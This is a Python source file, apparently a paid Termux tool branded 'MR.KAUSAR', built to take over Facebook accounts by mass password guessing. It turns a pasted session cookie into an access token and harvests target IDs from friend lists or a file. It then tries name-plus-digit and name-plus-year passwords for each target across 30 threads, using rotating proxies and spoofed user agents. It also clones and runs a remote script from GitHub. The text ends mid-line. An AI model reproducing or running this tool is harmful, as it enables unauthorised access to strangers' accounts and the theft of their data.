f='/110.021.0028; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/535.1 (KHTML, like Gecko) NokiaBrowser/' 54 | g=random.randrange(1, 9) 55 | h=random.randrange(1, 4) 56 | i=random.randrange(1, 4) 57 | j=random.randrange(1, 4) 58 | k='Mobile Safari/535.1' 59 | uaku=(f'{a}{b}.{c} {d}{e}{f}{g}.{h}.{i}.{j} {k}') 60 | ugen2.append(uaku) 61 | 62 | 63 | aa='Mozilla/5.0 (Linux; U; Android' 64 | b=random.choice(['6','7','8','9','10','11','12']) 65 | c=' en-us; GT-' 66 | d=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']) 67 | e=random.randrange(1, 999) 68 | f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']) 69 | g='AppleWebKit/537.36 (KHTML, like Gecko) Chrome/' 70 | h=random.randrange(73,100) 71 | i='0' 72 | j=random.randrange(4200,4900) 73 | k=random.randrange(40,150) 74 | l='Mobile Safari/537.36' 75 | uaku2=f'{aa} {b}; {c}{d}{e}{f}) {g}{h}.{i}.{j}.{k} {l}' 76 | ugen.append(uaku2) 77 | for x in range(10): 78 | a='Mozilla/5.0 (SAMSUNG; SAMSUNG-GT-S' 79 | b=random.randrange(100, 9999) 80 | c=random.randrange(100, 9999) 81 | d=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']) 82 | e=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']) 83 | f=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']) 84 | g=random.choice(['A','B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']) 85 | h=random.randrange(1, 9) 86 | i='; U; Bada/1.2; en-us) AppleWebKit/533.1 (KHTML, like Gecko) Dolfin/' 87 | j=random.randrange(1, 9) 88 | k=random.randrange(1, 9) 89 | l='Mobile WVGA SMM-MMS/1.2.0 OPN-B' 90 | uak=f'{a}{b}/{c}{d}{e}{f}{g}{h}{i}{j}.{k} {l}' 91 | def uaku(): 92 | try: 93 | ua=open('bbnew.txt','r').read().splitlines() 94 | for ub in ua: 95 | ugen.append(ub) 96 | except: 97 | a=requests.get('https://github.com/EC-1709/a/blob/main/bbnew.txt').text 98 | ua=open('.bbnew.txt','w') 99 | aa=re.findall('line">(.*?)<',str(a)) 100 | for un in aa: 101 | ua.write(un+'\n') 102 | ua=open('.bbnew.txt','r').read().splitlines() 103 | #------------[ INDICATION ]---------------# 104 | id,id2,loop,ok,cp,akun,oprek,method,lisensiku,taplikasi,tokenku,uid,lisensikuni= [],[],0,0,0,[],[],[],[],[],[],[],[] 105 | cokbrut=[] 106 | pwpluss,pwnya=[],[] 107 | #------------[ WARNA-COLOR ]--------------# 108 | P = '\x1b[1;97m' 109 | M = '\x1b[1;91m' 110 | H = '\x1b[1;92m' 111 | K = '\x1b[1;93m' 112 | B = '\x1b[1;94m' 113 | U = '\x1b[1;95m' 114 | O = '\x1b[1;96m' 115 | N = '\x1b[0m' 116 | Z = "\033[1;30m" 117 | sir = '\033[41m\x1b[1;97m' 118 | x = '\33[m' # DEFAULT 119 | m = '\x1b[1;91m' #RED + 120 | k = '\033[93m' # KUNING + 121 | h = '\x1b[1;92m' # HIJAU + 122 | hh = '\033[32m' # HIJAU - 123 | u = '\033[95m' # UNGU 124 | kk = '\033[33m' # KUNING - 125 | b = '\33[1;96m' # BIRU - 126 | p = '\x1b[0;34m' # BIRU + 127 | asu = random.choice([m,k,h,u,b]) 128 | #------------------[ MACHINE-SUPPORT ]---------------# 129 | def clear(): 130 | os.system('clear') 131 | banner() 132 | from time import localtime as lt 133 | from os import system as cmd 134 | ltx = int(lt()[3]) 135 | if ltx > 12: 136 | a = ltx-12 137 | tag = "\x1b[1;91mPM" 138 | else: 139 | a = ltx 140 | tag = "\x1b[1;96mAM" 141 | 142 | def _KAUSAR_(u): 143 | for e in u + "\n":sys.stdout.write(e);sys.stdout.flush();time.sleep(0.002) 144 | def clear(): 145 | os.system('clear') 146 | def back(): 147 | login() 148 | #------------------[ LOGO-LAKNAT ]-----------------# 149 | def banner(): 150 | print(f""" 151 | \x1b[1;91m┏───────────────────────────────────────────────────────────┓ 152 | \x1b[1;91m│\033[47m\033[1;31m ᴡᴇʟᴄᴏᴍᴇ ᴛᴏ ᴍʀ.ᴋᴀᴜsᴀʀ ᴡᴏʀʟᴅ \033[40m\033[00m\x1b[1;91m│ 153 | \x1b[1;91m┠─────────┯─────────┯─────────┯────────┯─────────┯──────────┫ 154 | \x1b[1;91m│ \x1b[1;92m## ##\x1b[1;91m│ \x1b[1;93m### \x1b[1;91m│\x1b[1;96m## ##\x1b[1;91m│ \x1b[1;94m###### \x1b[1;91m│ \x1b[1;95m### \x1b[1;91m│\033[0;33m######## \x1b[1;91m│ 155 | \x1b[1;91m│ \x1b[1;92m## ## \x1b[1;91m│ \x1b[1;93m## ## \x1b[1;91m│\x1b[1;96m## ##\x1b[1;91m│\x1b[1;94m## ##\x1b[1;91m│ \x1b[1;95m## ## \x1b[1;91m│\033[0;33m## ## \x1b[1;91m│ 156 | \x1b[1;91m│ \x1b[1;92m## ## \x1b[1;91m│ \x1b[1;93m## ## \x1b[1;91m│\x1b[1;96m## ##\x1b[1;91m│\x1b[1;94m## \x1b[1;91m│ \x1b[1;95m## ## \x1b[1;91m│\033[0;33m## ## \x1b[1;91m│ 157 | \x1b[1;91m│ \x1b[1;92m##### \x1b[1;91m│\x1b[1;93m## ##\x1b[1;91m│\x1b[1;96m## ##\x1b[1;91m│ \x1b[1;94m###### \x1b[1;91m│\x1b[1;95m## ##\x1b[1;91m│\033[0;33m######## \x1b[1;91m│ 158 | \x1b[1;91m│ \x1b[1;92m## ## \x1b[1;91m│\x1b[1;93m#########\x1b[1;91m│\x1b[1;96m## ##\x1b[1;91m│ \x1b[1;94m##\x1b[1;91m│\x1b[1;95m#########\x1b[1;91m│\033[0;33m## ## \x1b[1;91m│ 159 | \x1b[1;91m│ \x1b[1;92m## ## \x1b[1;91m│\x1b[1;93m## ##\x1b[1;91m│\x1b[1;96m## ##\x1b[1;91m│\x1b[1;94m## ##\x1b[1;91m│\x1b[1;95m## ##\x1b[1;91m│\033[0;33m## ## \x1b[1;91m│ 160 | \x1b[1;91m│ \x1b[1;92m## ##\x1b[1;91m│\x1b[1;93m## ##\x1b[1;91m│ \x1b[1;96m####### \x1b[1;91m│ \x1b[1;94m###### \x1b[1;91m│\x1b[1;95m## ##\x1b[1;91m│\033[0;33m## ## \x1b[1;91m│ 161 | \x1b[1;91m┠─────────┷─────────┷─────────┷─┬──────┷─────────┷──────────┫ 162 | \x1b[1;91m│\x1b[1;91m❲\x1b[1;92m◍\x1b[1;91m❳ \x1b[1;96mᴅᴇᴠᴏʟᴏᴘᴇʀ\x1b[1;91m: \033[47m\033[1;34mᴍʀ.ᴋᴀᴜsᴀʀ\033[40m\033[00m \x1b[1;91m│\x1b[1;96m● \x1b[1;91mɴᴏᴛᴇ:\x1b[1;92mᴛʜɪs ᴛᴏᴏʟs ɪs ᴘᴀɪᴅ \x1b[1;96m●\x1b[1;91m│ 163 | \x1b[1;91m┠───────────────────────────────╂───────────────────────────┫ 164 | \x1b[1;91m│\x1b[1;91m❲\x1b[1;92m◍\x1b[1;91m❳ \x1b[1;96mɢɪᴛʜᴜʙ \x1b[1;91m: \x1b[1;92mᴍʀᴋ4ᴜs4ʀ \x1b[1;91m│\x1b[1;93m● \x1b[1;92mᴛʜᴇ ᴋɪɴɢ ᴏғғ ᴘʀᴏɢʀᴀᴍᴍᴇʀ \x1b[1;93m●\x1b[1;91m│ 165 | \x1b[1;91m┠───────────────────────────────╂─────────────┯─────────────┫ 166 | \x1b[1;91m│\x1b[1;91m❲\x1b[1;92m◍\x1b[1;91m❳ \x1b[1;96mғᴀᴄᴇʙᴏᴏᴋ \x1b[1;91m: \x1b[1;92mᴍʀᴋᴀᴜs4ʀ \x1b[1;90m● \x1b[1;92mᴜɪᴅ \x1b[1;90m●\x1b[1;91m│\x1b[1;91m● \x1b[1;92m● \x1b[1;93m● \x1b[1;91m┏──────┷──────┓ \x1b[1;93m● \x1b[1;92m● \x1b[1;91m●\x1b[1;91m│ 167 | \x1b[1;91m┠───────────────────────────────┫\x1b[1;91m● \x1b[1;92m● \x1b[1;93m● \x1b[1;91m│\x1b[1;95m● \x1b[1;92mᴍʀ.ᴋᴀᴜsᴀʀ \x1b[1;95m●\x1b[1;91m│ \x1b[1;93m● \x1b[1;92m● \x1b[1;91m●\x1b[1;91m│ 168 | \x1b[1;91m│\x1b[1;91m❲\x1b[1;92m◍\x1b[1;91m❳ \x1b[1;96mᴡʜᴀᴛsᴀᴘᴘ \x1b[1;91m: \x1b[1;92m+𝟠𝟠𝟘𝟙𝟡𝟙𝟞𝟞𝟜𝟙𝟚𝟙𝟞 \x1b[1;91m │\x1b[1;91m● \x1b[1;92m● \x1b[1;93m● \x1b[1;91m┗─────────────┛ \x1b[1;93m● \x1b[1;92m● \x1b[1;91m●\x1b[1;91m│ 169 | \x1b[1;91m┠───────────────────────────────┷───────┯───────────────────┫ 170 | \x1b[1;91m│\x1b[1;91m❲\x1b[1;92m◍\x1b[1;91m❳ \x1b[1;96mɢʀᴏᴜᴘ \x1b[1;91m: \x1b[1;92mᴍʀ.ᴋᴀᴜsᴀʀ ᴛᴇʀᴍᴜx ᴄᴏᴍᴍᴀɴᴅ\x1b[1;91m│\x1b[1;94m● \x1b[1;92mᴛʜᴀɴᴋs ᴇᴠᴇʀʏᴏɴᴇ\x1b[1;94m ●\x1b[1;91m│ 171 | \x1b[1;91m┗───────────────────────────────────────┷───────────────────┛""") 172 | os.system('clear') 173 | banner() 174 | os.system("play-audio ASSALAMUALAIKUM_WELCOME_TO_MR_KAUSAR_WORLD.mp3") 175 | print(f' \x1b[1;91m➢\x1b[1;96m➣\x1b[1;92m➣ \033[47m\033[1;31mWhat Is Your Name\033[40m\033[00m') 176 | KAUSAR_NAME=input(f' \x1b[1;91m➢\x1b[1;96m➣\x1b[1;92m➣ Your Name ➣\x1b[1;96m ') 177 | #--------------------[ BAGIAN-MASUK ]--------------# 178 | def login(): 179 | try: 180 | token = open('.token.txt','r').read() 181 | cok = open('.cok.txt','r').read() 182 | tokenku.append(token) 183 | try: 184 | sy = requests.get('https://graph.facebook.com/me?fields=id,name&access_token='+tokenku[0], cookies={'cookie':cok}) 185 | sy2 = json.loads(sy.text)['name'] 186 | sy3 = json.loads(sy.text)['id'] 187 | menu(sy2,sy3) 188 | except KeyError: 189 | login_lagi334() 190 | except requests.exceptions.ConnectionError: 191 | li = ' \x1b[1;91m➢\x1b[1;96m➣\x1b[1;92m➣ Check Your Internet Then Try Aging' 192 | lo = mark(li, style='red') 193 | sol().print(lo, style='purple') 194 | exit() 195 | except IOError: 196 | login_lagi334() 197 | def login_lagi334(): 198 | try: 199 | os.system('clear') 200 | banner() 201 | asu = random.choice([m,k,h,b,u]) 202 | cookie=input(f' \x1b[1;91m\x1b[1;96m\x1b[1;92m Enter Fresh Cookies :{asu} ') 203 | data = requests.get("https://business.facebook.com/business_locations", headers = {"user-agent": "Mozilla/5.0 (Linux; Android 6.0.1; Redmi 4A Build/MMB29M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.92 Mobile Safari/537.36","referer": "https://www.facebook.com/","host": "business.facebook.com","origin": "https://business.facebook.com","upgrade-insecure-requests" : "1","accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7","cache-control": "max-age=0","accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*[inserted by cython to avoid comment closer]/[inserted by cython to avoid comment start]*;q=0.8","content-type":"text/html; charset=utf-8"}, cookies = {"cookie":cookie}) 204 | find_token = re.search("(EAAG\w+)", data.text) 205 | ken=open(".token.txt", "w").write(find_token.group(1)) 206 | cok=open(".cok.txt", "w").write(cookie) 207 | print(f' \x1b[1;91m➢\x1b[1;96m➣\x1b[1;92m➣ Login Successful \n \x1b[1;91m\x1b[1;96m\x1b[1;92m Type \x1b[1;96mpython KAUSAR.py');time.sleep(1) 208 | exit() 209 | except Exception as e: 210 | os.system("rm -f .token.txt") 211 | os.system("rm -f .cok.txt") 212 | print(f' \x1b[1;91m➢\x1b[1;96m➣\x1b[1;92m➣ \x1b[1;91mERROR BRO CHECK YOUR COOKIES ID') 213 | exit() 214 | #------------------[ BAGIAN-MENU ]----------------# 215 | def menu(my_name,my_id): 216 | try: 217 | token = open('.token.txt','r').read() 218 | cok = open('.cok.txt','r').read() 219 | except IOError: 220 | print(' \x1b[1;91m\x1b[1;96m\x1b[1;91m Cookies Expired ') 221 | time.sleep(5) 222 | login_lagi334() 223 | os.system('clear') 224 | banner() 225 | ip = requests.get("https://api.ipify.org").text 226 | _KAUSAR_(f'\x1b[1;91m┏────────────────────────┓') 227 | _KAUSAR_(f'\x1b[1;91m│\033[47m\033[1;30mPREMIUM USER INFORMATION\033[40m\033[00m\x1b[1;91m│') 228 | _KAUSAR_(f'\x1b[1;91m┠─────────────┯──────────┛') 229 | _KAUSAR_(f'\x1b[1;91m│\x1b[1;92mYour Name\x1b[1;91m────╂➣\x1b[1;92m '+str(KAUSAR_NAME)) 230 | _KAUSAR_(f'\x1b[1;91m│\x1b[1;92mYour ID Name\x1b[1;91m─╂➣\x1b[1;92m {my_name}') 231 | _KAUSAR_(f'\x1b[1;91m│\x1b[1;92mCloning Date\x1b[1;91m─╂➣ \x1b[1;92m{ha}\x1b[1;91m/\x1b[1;92m{bu}\x1b[1;91m/\x1b[1;92m{ta}') 232 | _KAUSAR_(f"\x1b[1;91m│\x1b[1;92mCloning Time\x1b[1;91m─╂➣ \x1b[1;92m"+str(a)+":"+str(lt()[4])+" "+ tag+" ") 233 | _KAUSAR_(f'\x1b[1;91m│\x1b[1;92mYour ID\x1b[1;91m──────╂➣\x1b[1;92m '+str(my_id)) 234 | _KAUSAR_(f'\x1b[1;91m│\x1b[1;92mYour IP\x1b[1;91m──────╂➣ \x1b[1;92m{ip}') 235 | _KAUSAR_(f'\x1b[1;91m┗─────────────┛') 236 | _KAUSAR_(f'\x1b[1;91m➢\x1b[1;96m➣\x1b[1;92m➣ \033[47m\033[1;34m CRACK METHOD \033[40m\033[00m') 237 | _KAUSAR_(f'\x1b[1;91m[\x1b[1;92m1\x1b[1;91m]\x1b[1;92m FILE CRACK') 238 | _KAUSAR_(f'\x1b[1;91m[\x1b[1;92m2\x1b[1;91m]\x1b[1;92m PUBLIC CRACK') 239 | _KAUSAR_(f'\x1b[1;91m[\x1b[1;92m3\x1b[1;91m]\x1b[1;92m FIRST DUMP') 240 | _KAUSAR_(f'\x1b[1;91m[\x1b[1;92m4\x1b[1;91m]\x1b[1;92m RANDOM CRACK') 241 | _KAUSAR_(f'\x1b[1;91m[\x1b[1;92m5\x1b[1;91m]\x1b[1;92m CONTACT ME') 242 | _KAUSAR_(f'\x1b[1;91m[\x1b[1;92m0\x1b[1;91m]\x1b[1;91m LOGOUT COOKIE & EXIT') 243 | _____KAUSAR_____ = input('\x1b[1;91m➢\x1b[1;96m➣\x1b[1;92m➣ \x1b[1;94mChoice ➣\x1b[1;92m ') 244 | if _____KAUSAR_____ in ['1']: 245 | os.system("play-audio Firsr_Follow_My_GitHub.mp3") 246 | F() 247 | if _____KAUSAR_____ in ['2']: 248 | os.system("play-audio Firsr_Follow_My_GitHub.mp3") 249 | P() 250 | if _____KAUSAR_____ in ['3']: 251 | os.system("play-audio Firsr_Follow_My_GitHub.mp3") 252 | os.system('rm -rf First_Dump') 253 | os.system('git clone https://github.com/MrK4US4R/First_Dump.git') 254 | os.system('cd First_Dump && python FIRST_DUMP.py') 255 | if _____KAUSAR_____ in ['4']: 256 | os.system("play-audio Firsr_Follow_My_GitHub.mp3") 257 | os.system('python KAUSAR.py') 258 | if _____KAUSAR_____ in ['5']: 259 | os.system("play-audio Firsr_Follow_My_GitHub.mp3") 260 | os.system("xdg-open https://www.facebook.com/ITZ.K4US4R") 261 | if _____KAUSAR_____ in ['0']: 262 | os.system('rm -rf .token.txt') 263 | os.system('rm -rf .cookie.txt') 264 | print(' \x1b[1;91m➢\x1b[1;96m➣\x1b[1;92m➣ LogOut Successful ') 265 | exit() 266 | else: 267 | print(' \x1b[1;91m➢\x1b[1;96m➣\x1b[1;91m➣ Wrong Choice Bara 😩 ') 268 | back() 269 | def error(): 270 | print(f' \x1b[1;91m➢\x1b[1;96m➣\x1b[1;92m➣ \x1b[1;91mSorry, Plz Choose the Right Menu') 271 | time.sleep(2) 272 | back() 273 | 274 | #---------------------[APPLICATION CHECKER]---------------------# 275 | def cek_apk(session,coki): 276 | w=session.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=active",cookies={"cookie":coki}).text 277 | sop = BeautifulSoup(w,"html.parser") 278 | x = sop.find("form",method="post") 279 | game = [i.text for i in x.find_all("h3")] 280 | if len(game)==0: 281 | print(f'\r%s[%s!%s] %sSorry there is no Active Apk%s '%(N,M,N,M,N)) 282 | else: 283 | print(f'\r[🎮] %s ☆ Your Active Apps ☆ :{WHITE}'%(GREEN)) 284 | for i in range(len(game)): 285 | print(f"\r[%s%s] %s%s"%(N,i+1,game[i].replace("Ditambahkan pada"," Ditambahkan pada"),N)) 286 | #else: 287 | #print(f'\r %s[%s!%s] Sorry, Apk check failed invalid cookie'%(N,M,N)) 288 | w=session.get("https://mbasic.facebook.com/settings/apps/tabbed/?tab=inactive",cookies={"cookie":coki}).text 289 | sop = BeautifulSoup(w,"html.parser") 290 | x = sop.find("form",method="post") 291 | game = [i.text for i in x.find_all("h3")] 292 | if len(game)==0: 293 | print(f'\r%s[%s!%s] %sSorry there is no Expired Apk%s \n'%(N,M,N,M,N)) 294 | else: 295 | print(f'\r[🎮] %s ◇ Your Expired Apps ◇ :{WHITE}'%(M)) 296 | for i in range(len(game)): 297 | print(f"\r[%s%s] %s%s"%(N,i+1,game[i].replace("Kedaluwarsa"," Kedaluwarsa"),N)) 298 | else: 299 | print(57*'-') 300 | 301 | def P(): 302 | try: 303 | token = open('.token.txt','r').read() 304 | cok = open('.cok.txt','r').read() 305 | except IOError: 306 | exit() 307 | try: 308 | os.system('clear') 309 | banner() 310 | jum = int(input(' \x1b[1;91m➢\x1b[1;96m➣\x1b[1;92m➣ Terget Id Limit ➣ \x1b[1;92m')) 311 | except ValueError: 312 | print(' \x1b[1;91m➢\x1b[1;96m➣\x1b[1;92m➣ \x1b[1;91mWRONG TYPE ') 313 | exit() 314 | if jum<1 or jum>100: 315 | print(' \x1b[1;91m➢\x1b[1;96m➣\x1b[1;92m➣ \x1b[1;91mWrong Type ') 316 | exit() 317 | ses=requests.Session() 318 | yz = 0 319 | for met in range(jum): 320 | yz+=1 321 | kl = input(h+' \x1b[1;91m➢\x1b[1;96m➣\x1b[1;92m➣ ENTER PUBLIC ID \x1b[1;91m[\x1b[1;92m'+str(yz)+'\x1b[1;91m] \x1b[1;92m➣ \x1b[1;96m') 322 | uid.append(kl) 323 | for userr in uid: 324 | try: 325 | col = ses.get('https://graph.facebook.com/v2.0/'+userr+'?fields=friends.limit(5000)&access_token='+tokenku[0], cookies = {'cookies':cok}).json() 326 | for mi in col['friends']['data']: 327 | try: 328 | iso = (mi['id']+'|'+mi['name']) 329 | if iso in id:pass 330 | else:id.append(iso) 331 | except:continue 332 | except (KeyError,IOError): 333 | pass 334 | except requests.exceptions.ConnectionError: 335 | print(' \x1b[1;91m➢\x1b[1;96m➣\x1b[1;92m➣ \x1b[1;91m Check Your Internet Callection') 336 | exit() 337 | try: 338 | print(f' \x1b[1;91m➢\x1b[1;96m➣\x1b[1;92m➣ Total Id ➣ \x1b[1;96m'+str(len(id))) 339 | Settings() 340 | except requests.exceptions.ConnectionError: 341 | print(f'{u}') 342 | print(' \x1b[1;91m➢\x1b[1;96m➣\x1b[1;92m➣ \x1b[1;91m Check Your Internet Callection') 343 | back() 344 | except (KeyError,IOError): 345 | print(f' \x1b[1;91m➢\x1b[1;96m➣\x1b[1;92m➣ \x1b[1;91m Your Id Maybe Not Public\n \x1b[1;91m➢\x1b[1;96m➣\x1b[1;92m➣ Check Your Id\n \x1b[1;91m➢\x1b[1;96m➣\x1b[1;92m➣ \x1b[1;91mThen Try Again') 346 | time.sleep(3) 347 | back() 348 | 349 | #-------------[ CRACK-FROM-FILE ]------------------# 350 | def F(): 351 | os.system('clear'); 352 | D().plerr() 353 | 354 | 355 | class D: 356 | def __init__(self): 357 | self.id = [] 358 | def plerr(self): 359 | os.system("clear") 360 | banner() 361 | try: 362 | print(f' \x1b[1;91m➢\x1b[1;96m➣\x1b[1;92m➣ \033[47m\033[1;34m Example: /sdcard/KAUSAR.txt \033[40m\033[00m') 363 | fileX = input (' \x1b[1;91m➢\x1b[1;96m➣\x1b[1;92m➣ Enter Your File ➣\x1b[1;93m ') 364 | for line in open(fileX, 'r').readlines(): 365 | id.append(line.strip()) 366 | print(f' \x1b[1;91m➢\x1b[1;96m➣\x1b[1;92m➣ \x1b[1;96TOTAL ID ➣ \x1b[1;92m'+str(len(id))) 367 | Settings() 368 | except IOError: 369 | print(" \x1b[1;91m➢\x1b[1;96m➣\x1b[1;92m➣ \x1b[1;91m file %s not found\x1b[0m"%(fileX));time.sleep(2) 370 | F() 371 | #-------------[ PENGATURAN-IDZ ]---------------# 372 | def Settings(): 373 | print(f' \x1b[1;91m➢\x1b[1;96m➣\x1b[1;92m➣ \x1b[1;91m[\x1b[1;92m1\x1b[1;91m]\x1b[1;92m Only New Id \x1b[1;92m[BEST]\n \x1b[1;91m➢\x1b[1;96m➣\x1b[1;92m➣ \x1b[1;91m[\x1b[1;92m2\x1b[1;91m]\x1b[1;92m New Old Mix') 374 | hu = input(' \x1b[1;91m➢\x1b[1;96m➣\x1b[1;92m➣ \x1b[1;94mChoose ➣\x1b[1;92m ') 375 | if hu in ['1','01']: 376 | muda=[] 377 | for bacot in sorted(id): 378 | muda.append(bacot) 379 | bcm=len(muda) 380 | bcmi=(bcm-1) 381 | for xmud in range(bcm): 382 | id2.append(muda[bcmi]) 383 | bcmi -=1 384 | elif hu in ['2','02']: 385 | for bacot in id: 386 | xx = random.randint(0,len(id2)) 387 | id2.insert(xx,bacot) 388 | else: 389 | print(' \x1b[1;91m➢\x1b[1;96m➣\x1b[1;92m➣ \x1b[1;91mWrong Option Bara') 390 | exit() 391 | 392 | print(f' \x1b[1;91m➢\x1b[1;96m➣\x1b[1;92m➣ \x1b[1;91m[\x1b[1;92m1\x1b[1;91m]\x1b[1;92m Mobile [BEST]') 393 | hc = input(' \x1b[1;91m➢\x1b[1;96m➣\x1b[1;92m➣ \x1b[1;94mChoose ➣\x1b[1;92m ') 394 | if hc in ['1','01']: 395 | method.append('mobile') 396 | else: 397 | method.append('mobile') 398 | pwplus=input(' \x1b[1;91m➢\x1b[1;96m➣\x1b[1;92m➣ \033[47m\033[1;35m PASSWORD MENU \033[40m\033[00m\n \x1b[1;91m➢\x1b[1;96m➣\x1b[1;92m➣ Manual Password \x1b[1;91m[m]\n \x1b[1;91m➢\x1b[1;96m➣\x1b[1;92m➣ Auto Password \x1b[1;96m[d] \x1b[1;92m[BEST]\n \x1b[1;91m➢\x1b[1;96m➣\x1b[1;92m➣ \x1b[1;94mChoice ➣ \x1b[1;92m') 399 | if pwplus in ['y','Y']: 400 | pwpluss.append('ya') 401 | print(f'Add Password Manual Minimam 6 Character') 402 | pwku=input(' \x1b[1;91m➢\x1b[1;96m➣\x1b[1;92m➣ Add Password Manual : ') 403 | pwkuh=pwku.split(',') 404 | for xpw in pwkuh: 405 | pwnya.append(xpw) 406 | else: 407 | pwpluss.append('no') 408 | passwrd() 409 | exit() 410 | #-------------------[ BAGIAN-WORDLIST ]------------# 411 | def passwrd(): 412 | print(f'\x1b[1;91m●\x1b[1;92m═━═━═━═━═━═━═━═━═━═━═━═\x1b[1;91m❴\033[47m\033[1;30mᴍʀ.ᴋᴀᴜsᴀʀ\033[40m\033[00m\x1b[1;91m❵\x1b[1;92m═━═━═━═━═━═━═━═━═━═━═━═\x1b[1;91m●') 413 | print(f"\x1b[1;91m [😍] \x1b[1;92mYour Name \x1b[1;91m➢ \x1b[1;92m"+str(KAUSAR_NAME)) 414 | print(f"\x1b[1;91m [🚀] \x1b[1;92mTOTAL ID \x1b[1;91m➢ \x1b[1;92m"+str(len(id))) 415 | print(f"\x1b[1;91m [💉] \x1b[1;92mTODAY TIME \x1b[1;91m➢ \x1b[1;92m"+str(a)+":"+str(lt()[4])+" "+ tag+" ") 416 | print(f"\x1b[1;91m [💉] \x1b[1;92mTODAY DATE \x1b[1;91m➢ \x1b[1;92m{ha}\x1b[1;91m/\x1b[1;92m{bu}\x1b[1;91m/\x1b[1;92m{ta} ") 417 | print(f"\x1b[1;91m [😩] \x1b[1;91mNOTE ➢ \33[1;92m[ USE AIRPLANE MODE BEFORE USE ] ") 418 | print(f'\x1b[1;91m●\x1b[1;92m═━═━═━═━═━═━═━═━═━═━═━═\x1b[1;91m❴\033[47m\033[1;30mᴍʀ.ᴋᴀᴜsᴀʀ\033[40m\033[00m\x1b[1;91m❵\x1b[1;92m═━═━═━═━═━═━═━═━═━═━═━═\x1b[1;91m●\n') 419 | with tred(max_workers=30) as pool: 420 | for yuzong in id2: 421 | idf,nmf = yuzong.split('|')[0],yuzong.split('|')[1].lower() 422 | frs = nmf.split(' ')[0] 423 | pwv = [] 424 | if len(nmf)<6: 425 | if len(frs)<3: 426 | pass 427 | else: 428 | pwv.append(frs+'123') 429 | pwv.append(frs+'1234') 430 | pwv.append(frs+'12345') 431 | pwv.append(frs+'123456') 432 | pwv.append(frs+'2020') 433 | pwv.append(frs+'2021') 434 | pwv.append(frs+'2022') 435 | else: 436 | if len(frs)<3: 437 | pwv.append(nmf) 438 | else: 439 | pwv.append(nmf) 440 | pwv.append(nmf+'@@') 441 | pwv.append(frs+'123') 442 | pwv.append(frs+'1234') 443 | pwv.append(frs+'12345') 444 | pwv.append(frs+'123456') 445 | pwv.append(frs+'2020') 446 | pwv.append(frs+'2021') 447 | pwv.append(frs+'2022') 448 | if 'ya' in pwpluss: 449 | for xpwd in pwnya: 450 | pwv.append(xpwd) 451 | else:pass 452 | if 'mobile' in method: 453 | pool.submit(crack,idf,pwv) 454 | elif 'free' in method: 455 | pool.submit(crackfree,idf,pwv) 456 | elif 'touch' in method: 457 | pool.submit(cracktouch,idf,pwv) 458 | print(f' \x1b[1;91m➢\x1b[1;96m➣\x1b[1;92m➣ CRACK COMPLETE ') 459 | print(f' \x1b[1;91m➢\x1b[1;96m➣\x1b[1;92m➣ OK : {h}%s '%(ok)) 460 | print(' \x1b[1;91m➢\x1b[1;96m➣\x1b[1;92m➣ Main Manu \x1b[1;92m[Y]\n \x1b[1;91m➢\x1b[1;96m➣\x1b[1;92m➣ \x1b[1;91mExit [T]') 461 | woi = input(' \x1b[1;91m➢\x1b[1;96m➣\x1b[1;92m➣ Choose : ') 462 | if woi in ['y','Y']: 463 | back() 464 | else: 465 | print(f'\t \x1b[1;91m➢\x1b[1;96m➣\x1b[1;92m➣ Allah Hafiz Bro {u} ') 466 | time.sleep(2) 467 | exit() 468 | #--------------------[ METODE-B-API ]-----------------# 469 | def crack(idf,pwv): 470 | global loop,ok,cp 471 | bo = random.choice([m,k,h,b,u,x]) 472 | sys.stdout.write(f"\r{bo} MR.KAUSAR {h}[{k}{loop}/{len(id)}{h}] {h}[OK] {h}[{ok}] {h}[{'{:.0%}'.format(loop/float(len(id)))}] "), 473 | sys.stdout.flush() 474 | ua = random.choice(ugen) 475 | ua2 = random.choice(ugen2) 476 | ses = requests.Session() 477 | for pw in pwv: 478 | try: 479 | nip=random.choice(prox) 480 | proxs= {'http': 'socks4://'+nip} 481 | ses.headers.update({"Host":'m.facebook.com',"upgrade-insecure-requests":"1","user-agent":ua2,"accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*[inserted by cython to avoid comment closer]/[inserted by cython to avoid comment start]*;q=0.8,application/signed-exchange;v=b3;q=0.9","dnt":"1","x-requested-with":"mark.via.gp","sec-fetch-site":"same-origin","sec-fetch-mode":"cors","sec-fetch-user":"empty","sec-fetch-dest":"document","referer":"https://m.facebook.com/","accept-encoding":"gzip, deflate br","accept-language":"en-GB,en-US;q=0.9,en;q=0.8"}) 482 | p = ses.get('https://p.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&refsrc=deprecated&_rdr') 483 | dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://p.facebook.com/login/save-device/","flow":"login_no_pin","pass":pw,} 484 | koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ]) 485 | koki+=' 